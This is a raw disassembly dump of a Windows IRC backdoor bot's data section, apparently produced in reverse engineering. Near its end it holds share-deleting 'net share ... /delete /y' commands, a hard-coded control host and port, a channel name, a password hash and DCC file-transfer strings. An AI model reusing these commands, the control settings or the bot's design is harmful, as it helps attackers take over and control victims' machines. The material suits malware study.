		dd 43A119h, 0Fh, 43A127h, 10h, 43A135h,	11h, 43A143h, 12h
		dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh,	15h, 43A17Bh, 16h
		dd 43A189h, 17h, 43A197h, 18h, 43A1A5h,	19h, 43A1B3h, 6	dup(0)
dword_440758	dd 19930520h, 1, 440778h, 5 dup(0)		dd 0FFFFFFFFh, 43A230h,	2 dup(0)
dword_440788	dd 19930520h, 3Dh, 4407A8h, 5 dup(0)		dd 0FFFFFFFFh, 43A250h,	0
		dd offset loc_43A25B
		dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh
		dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah
		dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h,	0Dh, 43A30Eh, 0Eh
		dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h,	11h, 43A346h, 12h
		dd 43A354h, 13h, 43A362h, 14h, 43A370h,	15h, 43A37Eh, 16h
		dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h,	19h, 43A3B6h, 1Ah
		dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h,	1Dh, 43A3EEh, 1Eh
		dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h,	21h, 43A426h, 22h
		dd 43A434h, 23h, 43A442h, 24h, 43A450h,	25h, 43A45Eh, 26h
		dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h,	29h, 43A496h, 2Ah
		dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h,	2Dh, 43A4CEh, 2Eh
		dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h,	31h, 43A506h, 32h
		dd 43A514h, 33h, 43A522h, 34h, 43A530h,	35h, 43A53Eh, 36h
		dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h,	39h, 43A576h, 3Ah
		dd 43A584h, 3Bh, 43A592h, 0Eh dup(0)
dword_4409C8	dd 19930520h, 4, 4409E8h, 5 dup(0)		dd 0FFFFFFFFh, 43A680h,	0
		dd offset loc_43A68B
		dd 1, 43A696h, 2, 43A6A1h, 2 dup(0)
dword_440A10	dd 19930520h, 6, 440A30h, 5 dup(0)		dd 0FFFFFFFFh, 43A6D0h,	0
		dd offset loc_43A6DB
		dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0)
dword_440A68	dd 19930520h, 4, 440A88h, 5 dup(0)		dd 0FFFFFFFFh, 43A740h,	0
		dd offset loc_43A74E
		dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0)
dword_440AB0	dd 19930520h, 5, 440AD0h, 5 dup(0)		dd 0FFFFFFFFh, 43A7A0h,	0
		dd offset loc_43A7AB
		dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0)
dword_440B00	dd 19930520h, 5, 440B20h, 5 dup(0)		dd 0FFFFFFFFh, 43A800h,	0
		dd offset loc_43A80B
		dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0)
dword_440B50	dd 19930520h, 1, 440B70h, 5 dup(0)		dd 0FFFFFFFFh, 43A860h,	2 dup(0)
dword_440B80	dd 19930520h, 1, 440BA0h, 5 dup(0)		dd 0FFFFFFFFh, 43A880h,	2 dup(0)
dword_440BB0	dd 19930520h, 1, 440BD0h, 5 dup(0)		dd 0FFFFFFFFh, 43A8A0h,	2 dup(0)
dword_440BE0	dd 19930520h, 2, 440C00h, 5 dup(0)		dd 0FFFFFFFFh, 43A8C0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 43h, 0
		dd 2 dup(0)
dword_440C18	dd 19930520h, 4, 440C38h, 5 dup(0)		dd 0FFFFFFFFh, 43A8F0h,	0
		dd offset loc_43A8FB
		dd 1, 43A906h, 2, 43A911h, 2 dup(0)
dword_440C60	dd 19930520h, 4, 440C80h, 5 dup(0)		dd 0FFFFFFFFh, 43A940h,	0
		dd offset loc_43A94B
		dd 1, 43A956h, 2, 43A961h, 2 dup(0)
dword_440CA8	dd 19930520h, 6, 440CC8h, 5 dup(0)		dd 0FFFFFFFFh, 43A990h,	0
		dd offset loc_43A99B
		dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0)
dword_440D00	dd 19930520h, 4, 440D20h, 5 dup(0)		dd 0FFFFFFFFh, 43AA00h,	0
		dd offset loc_43AA0E
		dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0)
dword_440D48	dd 19930520h, 5, 440D68h, 5 dup(0)		dd 0FFFFFFFFh, 43AA60h,	0
		dd offset loc_43AA6B
		dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0)
dword_440D98	dd 19930520h, 5, 440DB8h, 5 dup(0)		dd 0FFFFFFFFh, 43AAC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0AAh, 43h, 0
		dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0)
dword_440DE8	dd 19930520h, 1, 440E08h, 5 dup(0)		dd 0FFFFFFFFh, 43AB20h,	2 dup(0)
dword_440E18	dd 19930520h, 1, 440E38h, 5 dup(0)		dd 0FFFFFFFFh, 43AB40h,	2 dup(0)
dword_440E48	dd 19930520h, 1, 440E68h, 5 dup(0)		dd 0FFFFFFFFh, 43AB60h,	2 dup(0)
dword_440E78	dd 19930520h, 2, 440E98h, 5 dup(0)		dd 0FFFFFFFFh, 43AB80h,	0
		dd offset loc_43AB8B
		align 10h
dword_440EB0	dd 19930520h, 4, 440ED0h, 5 dup(0)		dd 0FFFFFFFFh, 43ABB0h,	0
		dd offset loc_43ABBB
		dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0)
dword_440EF8	dd 19930520h, 1, 440F18h, 5 dup(0)		dd 0FFFFFFFFh, 43AC00h,	2 dup(0)
dword_440F28	dd 19930520h, 2, 440F48h, 5 dup(0)		dd 0FFFFFFFFh, 43AC20h,	0
		dd offset loc_43AC2B
		align 10h
dword_440F60	dd 19930520h, 1, 440F80h, 5 dup(0)		dd 0FFFFFFFFh, 43AC50h,	2 dup(0)
dword_440F90	dd 19930520h, 1, 440FB0h, 5 dup(0)		dd 0FFFFFFFFh, 43AC70h,	2 dup(0)
dword_440FC0	dd 19930520h, 2, 440FE0h, 5 dup(0)		dd 0FFFFFFFFh, 43AC90h,	0
		dd offset loc_43AC9B
		dd 2 dup(0)
dword_440FF8	dd 19930520h, 1, 441018h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	2 dup(0)
dword_441028	dd 19930520h, 3, 441048h, 5 dup(0)		dd 0FFFFFFFFh, 43ACE0h,	0
		dd offset loc_43ACF7
		dd 1, 43ACFFh, 2 dup(0)
dword_441068	dd 19930520h, 1, 441088h, 5 dup(0)		dd 0FFFFFFFFh, 43AD20h,	2 dup(0)
dword_441098	dd 19930520h, 4, 4410B8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD48h,	0
		dd offset sub_43AD40
		dd 0
		dd offset loc_43AD5F
		dd 2, 43AD67h, 2 dup(0)
dword_4410E0	dd 19930520h, 6, 441100h, 5 dup(0)		dd 0FFFFFFFFh, 43AD90h,	0FFFFFFFFh, 43AD98h, 0FFFFFFFFh
		dd 43ADA0h, 0FFFFFFFFh,	43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh
		dd 43ADB8h, 2 dup(0)
dword_441138	dd 19930520h, 1Ah, 441158h, 5 dup(0)		dd 0FFFFFFFFh, 43ADE0h,	0
		dd offset loc_43ADEB
		dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh
		dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h
		dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h
		dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h
		dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0)
dword_441240	dd 19930520h, 4, 441260h, 5 dup(0)		dd 0FFFFFFFFh, 43AF70h,	0
		dd offset loc_43AF78
		dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0)
dword_441288	dd 19930520h, 4, 4412A8h, 5 dup(0)		dd 0FFFFFFFFh, 43AFB0h,	0
		dd offset loc_43AFB8
		dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0)
dword_4412D0	dd 19930520h, 6, 4412F0h, 5 dup(0)		dd 0FFFFFFFFh, 43AFF0h,	0
		dd offset loc_43AFF8
		dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0)
dword_441328	dd 19930520h, 6, 441348h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B058
		dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0)
dword_441380	dd 19930520h, 6, 4413A0h, 5 dup(0)		dd 0FFFFFFFFh, 43B0B0h,	0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh
		dd 43B0C6h, 2, 43B0D1h,	3, 43B0DCh, 2, 43B0E7h,	2 dup(0)
dword_4413D8	dd 19930520h, 3, 4413F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B110h,	0FFFFFFFFh, 43B118h, 0FFFFFFFFh
		dd 43B120h, 2 dup(0)
dword_441418	dd 19930520h, 5, 441438h, 5 dup(0)		dd 0FFFFFFFFh, 43B140h,	0FFFFFFFFh, 43B148h, 0FFFFFFFFh
		dd 43B150h, 0FFFFFFFFh,	43B158h, 0FFFFFFFFh, 43B160h, 2	dup(0)
dword_441468	dd 19930520h, 0Ch, 441488h, 5 dup(0)		dd 0FFFFFFFFh, 43B180h,	0
		dd offset loc_43B188
		dd 0FFFFFFFFh, 43B190h,	0FFFFFFFFh, 43B198h, 0FFFFFFFFh
		dd 43B1A0h, 0FFFFFFFFh,	43B1A8h, 5, 43B1B0h, 0FFFFFFFFh
		dd 43B1B8h, 0FFFFFFFFh,	43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh
		dd 43B1D0h, 0FFFFFFFFh,	43B1D8h, 4 dup(0)
dword_4414F8	dd 19930520h, 2, 441518h, 1, 441528h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441540h, 4	dup(0)
		dd offset loc_41EE2C
		dd 2 dup(0)
dword_441558	dd 19930520h, 0Ah, 441578h, 5 dup(0)		dd 0FFFFFFFFh, 43B220h,	0
		dd offset loc_43B22B
		dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h
		dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0)
dword_4415D8	dd 19930520h, 2, 4415F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B2C0h,	0
		dd offset loc_43B2C8
		align 10h
dword_441610	dd 19930520h, 3, 441630h, 5 dup(0)		dd 0FFFFFFFFh, 43B2E0h,	0FFFFFFFFh, 43B2EBh, 1,	43B2F6h
		dd 2 dup(0)
dword_441650	dd 19930520h, 1, 441670h, 5 dup(0)		dd 0FFFFFFFFh, 43B320h,	2 dup(0)
dword_441680	dd 19930520h, 2, 4416A0h, 5 dup(0)		dd 0FFFFFFFFh, 43B340h,	0
		dd offset loc_43B34B
		dd 2 dup(0)
dword_4416B8	dd 19930520h, 16h, 4416D8h, 5 dup(0)		dd 0FFFFFFFFh, 43B370h,	0
		dd offset loc_43B37B
		dd 0
		dd offset loc_43B383
		dd 0
		dd offset loc_43B38B
		dd 3, 43B393h, 4, 43B39Bh, 0
		dd offset loc_43B3A3
		dd 6, 43B3ABh, 7, 43B3B3h, 0
		dd offset loc_43B3BB
		dd 9, 43B3C3h, 0Ah, 43B3CBh, 0
		dd offset loc_43B3D3
		dd 0Ch,	43B3DBh, 0Dh, 43B3E3h, 0
		dd offset loc_43B3EB
		dd 0Fh,	43B3F3h, 0
		dd offset loc_43B3FB
		dd 11h,	43B403h, 0
		dd offset loc_43B40B
		dd 13h,	43B413h, 13h, 43B41Bh, 6 dup(0)
dword_4417A0	dd 19930520h, 1, 4417C0h, 5 dup(0)		dd 0FFFFFFFFh, 43B460h,	2 dup(0)
dword_4417D0	dd 19930520h, 1, 4417F0h, 5 dup(0)		dd 0FFFFFFFFh, 43B490h,	2 dup(0)
dword_441800	dd 19930520h, 5, 441820h, 5 dup(0)		dd 0FFFFFFFFh, 43B4C0h,	0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh
		dd 43B4D0h, 0FFFFFFFFh,	43B4D8h, 0FFFFFFFFh, 43B4E0h, 2	dup(0)
dword_441850	dd 19930520h, 0Bh, 441870h, 5 dup(0)		dd 0FFFFFFFFh, 43B500h,	0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh
		dd 43B521h, 0FFFFFFFFh,	43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh
		dd 43B542h, 0FFFFFFFFh,	43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh
		dd 43B563h, 0FFFFFFFFh,	43B56Eh, 0FFFFFFFFh, 43B516h, 4	dup(0)
dword_4418D8	dd 19930520h, 5, 4418F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B5B0h,	0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh
		dd 43B5C0h, 0FFFFFFFFh,	43B5C8h, 0FFFFFFFFh, 43B5D0h, 2	dup(0)
dword_441928	dd 19930520h, 15h, 441948h, 5 dup(0)		dd 0FFFFFFFFh, 43B5F0h,	0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh
		dd 43B603h, 0FFFFFFFFh,	43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh
		dd 43B61Bh, 0FFFFFFFFh,	43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh
		dd 43B636h, 0FFFFFFFFh,	43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh
		dd 43B651h, 0FFFFFFFFh,	43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh
		dd 43B669h, 0FFFFFFFFh,	43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh
		dd 43B684h, 0FFFFFFFFh,	43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh
		dd 43B69Ch, 6 dup(0)
dword_441A08	dd 19930520h, 1, 441A28h, 5 dup(0)		dd 0FFFFFFFFh, 43B6E0h,	2 dup(0)
dword_441A38	dd 19930520h, 5, 441A58h, 5 dup(0)		dd 0FFFFFFFFh, 43B700h,	0
		dd offset loc_43B708
		dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0)
dword_441A88	dd 19930520h, 5, 441AA8h, 5 dup(0)		dd 0FFFFFFFFh, 43B750h,	0
		dd offset loc_43B758
		dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0)
dword_441AD8	dd 19930520h, 1, 441AF8h, 5 dup(0)		dd 0FFFFFFFFh, 43B7A0h,	2 dup(0)
dword_441B08	dd 19930520h, 1, 441B28h, 5 dup(0)		dd 0FFFFFFFFh, 43B7C0h,	2 dup(0)
dword_441B38	dd 19930520h, 1, 441B58h, 5 dup(0)		dd 0FFFFFFFFh, 43B7E0h,	2 dup(0)
dword_441B68	dd 19930520h, 1, 441B88h, 5 dup(0)		dd 0FFFFFFFFh, 43B800h,	2 dup(0)
dword_441B98	dd 19930520h, 1, 441BB8h, 5 dup(0)		dd 0FFFFFFFFh, 43B820h,	2 dup(0)
dword_441BC8	dd 19930520h, 1, 441BE8h, 5 dup(0)		dd 0FFFFFFFFh, 43B840h,	2 dup(0)
dword_441BF8	dd 19930520h, 1, 441C18h, 5 dup(0)		dd 0FFFFFFFFh, 43B860h,	2 dup(0)
dword_441C28	dd 19930520h, 1, 441C48h, 5 dup(0)		dd 0FFFFFFFFh, 43B880h,	2 dup(0)
dword_441C58	dd 19930520h, 6, 441C78h, 5 dup(0)		dd 0FFFFFFFFh, 43B8A0h,	0
		dd offset loc_43B8A8
		dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0)
dword_441CB0	dd 19930520h, 6, 441CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43B900h,	0
		dd offset loc_43B908
		dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0)
dword_441D08	dd 19930520h, 3, 441D28h, 5 dup(0)		dd 0FFFFFFFFh, 43B960h,	0
		dd offset loc_43B968
		dd 1, 43B976h, 2 dup(0)
dword_441D48	dd 19930520h, 16h, 441D68h, 5 dup(0)		dd 0FFFFFFFFh, 43B9A0h,	0
		dd offset loc_43B9AB
		dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h
		dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah
		dd 43BA19h, 2, 43BA24h,	0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh
		dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh,	0Fh, 43BA66h, 0Fh
		dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h,	6 dup(0)
dword_441E30	dd 19930520h, 1, 441E50h, 5 dup(0)		dd 0FFFFFFFFh, 43BAE0h,	2 dup(0)
dword_441E60	dd 19930520h, 1, 441E80h, 5 dup(0)		dd 0FFFFFFFFh, 43BB00h,	2 dup(0)
dword_441E90	dd 19930520h, 1, 441EB0h, 5 dup(0)		dd 0FFFFFFFFh, 43BB20h,	2 dup(0)
dword_441EC0	dd 19930520h, 1, 441EE0h, 5 dup(0)		dd 0FFFFFFFFh, 43BB40h,	2 dup(0)
dword_441EF0	dd 19930520h, 1, 441F10h, 5 dup(0)		dd 0FFFFFFFFh, 43BB60h,	2 dup(0)
dword_441F20	dd 19930520h, 2, 441F40h, 1, 441F50h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441F68h, 4	dup(0)
		dd offset loc_42AF54
		align 10h
dword_441F80	dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441FC8h, 4	dup(0)
		dd offset loc_42B031
		align 10h
dword_441FE0	dd 19930520h, 3, 442000h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	0
		dd offset loc_43BBA8
		dd 1, 43BBB0h, 2 dup(0)
dword_442020	dd 19930520h, 1, 442040h, 5 dup(0)		dd 0FFFFFFFFh, 43BBE0h,	2 dup(0)
dword_442050	dd 19930520h, 1, 442070h, 5 dup(0)		dd 0FFFFFFFFh, 43BC00h,	2 dup(0)
dword_442080	dd 19930520h, 1, 4420A0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC20h,	2 dup(0)
dword_4420B0	dd 19930520h, 1, 4420D0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	2 dup(0)
dword_4420E0	dd 19930520h, 1, 442100h, 5 dup(0)		dd 0FFFFFFFFh, 43BC60h,	2 dup(0)
dword_442110	dd 19930520h, 6, 442130h, 5 dup(0)		dd 0FFFFFFFFh, 43BC80h,	0FFFFFFFFh, 43BC88h, 0FFFFFFFFh
		dd 43BC90h, 0FFFFFFFFh,	43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh
		dd 43BCA8h, 2 dup(0)
dword_442168	dd 19930520h, 16h, 442188h, 5 dup(0)		dd 0FFFFFFFFh, 43BCD0h,	0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh
		dd 43BCE3h, 0FFFFFFFFh,	43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh
		dd 43BCFEh, 0FFFFFFFFh,	43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh
		dd 43BD16h, 0FFFFFFFFh,	43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh
		dd 43BD31h, 0FFFFFFFFh,	43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh
		dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch,	0Eh, 43BD64h, 0Eh
		dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch,	0Eh, 43BD7Ch, 6	dup(0)
dword_442250	dd 19930520h, 2, 442270h, 5 dup(0)		dd 0FFFFFFFFh, 43BDC0h,	0FFFFFFFFh, 43BDC8h, 2 dup(0)
dword_442288	dd 19930520h, 2, 4422A8h, 5 dup(0)		dd 0FFFFFFFFh, 43BDE0h,	0
		dd offset loc_43BDEB
		align 10h
dword_4422C0	dd 19930520h, 1, 4422E0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE10h,	2 dup(0)
dword_4422F0	dd 19930520h, 2, 442310h, 5 dup(0)		dd 0FFFFFFFFh, 43BE30h,	0FFFFFFFFh, 43BE38h, 2 dup(0)
dword_442328	dd 19930520h, 0Ah, 442348h, 5 dup(0)		dd 0FFFFFFFFh, 43BE50h,	0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh
		dd 43BE66h, 0FFFFFFFFh,	43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh
		dd 43BE87h, 0FFFFFFFFh,	43BE92h, 0FFFFFFFFh, 43BE9Dh, 0FFFFFFFFh
		dd 43BEA8h, 0FFFFFFFFh,	43BEB3h, 35Bh dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd 106h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_4034E0+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4435EC:				; DATA XREF: sub_4034E0+66o
					; sub_40FF60:loc_41083Eo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404C70+875o
					; sub_404C70+AF1o ...
		align 4
aSS		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404C70+831o
					; sub_404C70+B5Eo ...
		align 10h
asc_443600:				; DATA XREF: sub_404640:loc_40471Fo
					; sub_404640+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404640+75o
					; sub_40FF60:loc_410949o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0 ; DATA XREF: sub_404C70+14E6o
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0 ; DATA XREF: sub_404C70+14DFo
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0 ; DATA XREF: sub_404C70+14D8o
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0 ; DATA XREF: sub_404C70+14D1o
		dd 0
aSS_0		db '%s\%s',0            ; DATA XREF: sub_404C70+F18o
					; sub_404C70+105Eo ...
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o
		align 8
aN:					; DATA XREF: sub_404C70+D23o
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404C70+977o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404C70+6D2o
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404C70+613o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404C70+447o
					; sub_41C030+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404C70+1A3o
					; sub_404C70+9B1o ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_4066E0+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_406890+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_406890+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_406890:loc_40698Bo
a2003		db '2003',0             ; DATA XREF: sub_406890+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_406890+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_406890+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_406890+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_406890+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_406890+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_406890+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406DEDo
					; ___:00406E35o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406DB0o
					; sub_40EC30+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406D73o
		dd 0
dword_4437EC	dd 6265642Dh, 6775hdword_4437F4	dd 6425h						; ___:004086D8o ...
dword_4437F8	dd 40h							; sub_40FF60+7CCo ...
aHotfix		db 'hotfix',0           ; DATA XREF: sub_407790+394o
		align 4
aTsinternetuser	db 'TsInternetUser',0   ; DATA XREF: sub_407790+383o
		align 8
aAdmin_com	db 'admin.com',0        ; DATA XREF: sub_407790+372o
		align 4
aE10adc3949ba59	db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+361o
		align 4
		dd 0
aAbosal7	db 'abosal7',0          ; DATA XREF: sub_407790+350o
		align 8
aHail		db 'Hail-',0            ; DATA XREF: sub_407790+342o
		align 10h
aWintwir	db 'wintwir',0          ; DATA XREF: sub_407790+331o
		dd 0
aMsnnmaneger_ex	db 'msnnmaneger.exe',0  ; DATA XREF: sub_407790+320o
		align 10h
aServec		db 'servec',0           ; DATA XREF: sub_407790+30Fo
		align 4
aS_1		db '#s',0               ; DATA XREF: sub_407790+2FEo
		align 4
aScop		db '#scop#',0           ; DATA XREF: sub_407790+2EDo
		align 4
aSaad		db 'saad',0             ; DATA XREF: sub_407790+2A9o
					; sub_407790+2DCo
		align 4
a7000		db '7000',0             ; DATA XREF: sub_407790+298o
					; sub_407790+2CBo
		align 4
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o
					; sub_407790+2BAo
		align 10h
off_4438C0	dd offset off_43E1D4	; DATA XREF: ___:0043F00Co
		align 8
a_?avexception@	db '.?AVexception@@',0
		align 10h
off_4438E0	dd offset off_43E1D4	; DATA XREF: ___:0043F02Co
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
		dd 2 dup(0)
off_443908	dd offset off_43E1D4	; DATA XREF: ___:0043F04Co
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409580+21o
					; ___:0040A971o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B680+3Fo
					; sub_40B700+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B79Fo
		align 10h
aFalse		db 'false',0            ; DATA XREF: ___:0040B844o
		align 4
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao
		align 10h
		dd 0
aSS_6		db '%s = "%s"',0        ; DATA XREF: ___:0040BA77o
		align 10h
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040B924o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao
		align 4
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C400+48Ao
		align 10h
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o
		align 10h
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C400+327o
		align 10h
dword_443A30	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C400+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o
		align 4
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o
		align 8
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo
		align 8
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o
		align 8
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o
		align 10h
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CBB0+1B1o
		dd 0
asc_443B04:				; DATA XREF: sub_40CBB0+113o
					; sub_4200F0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40CF60+115o
		align 4
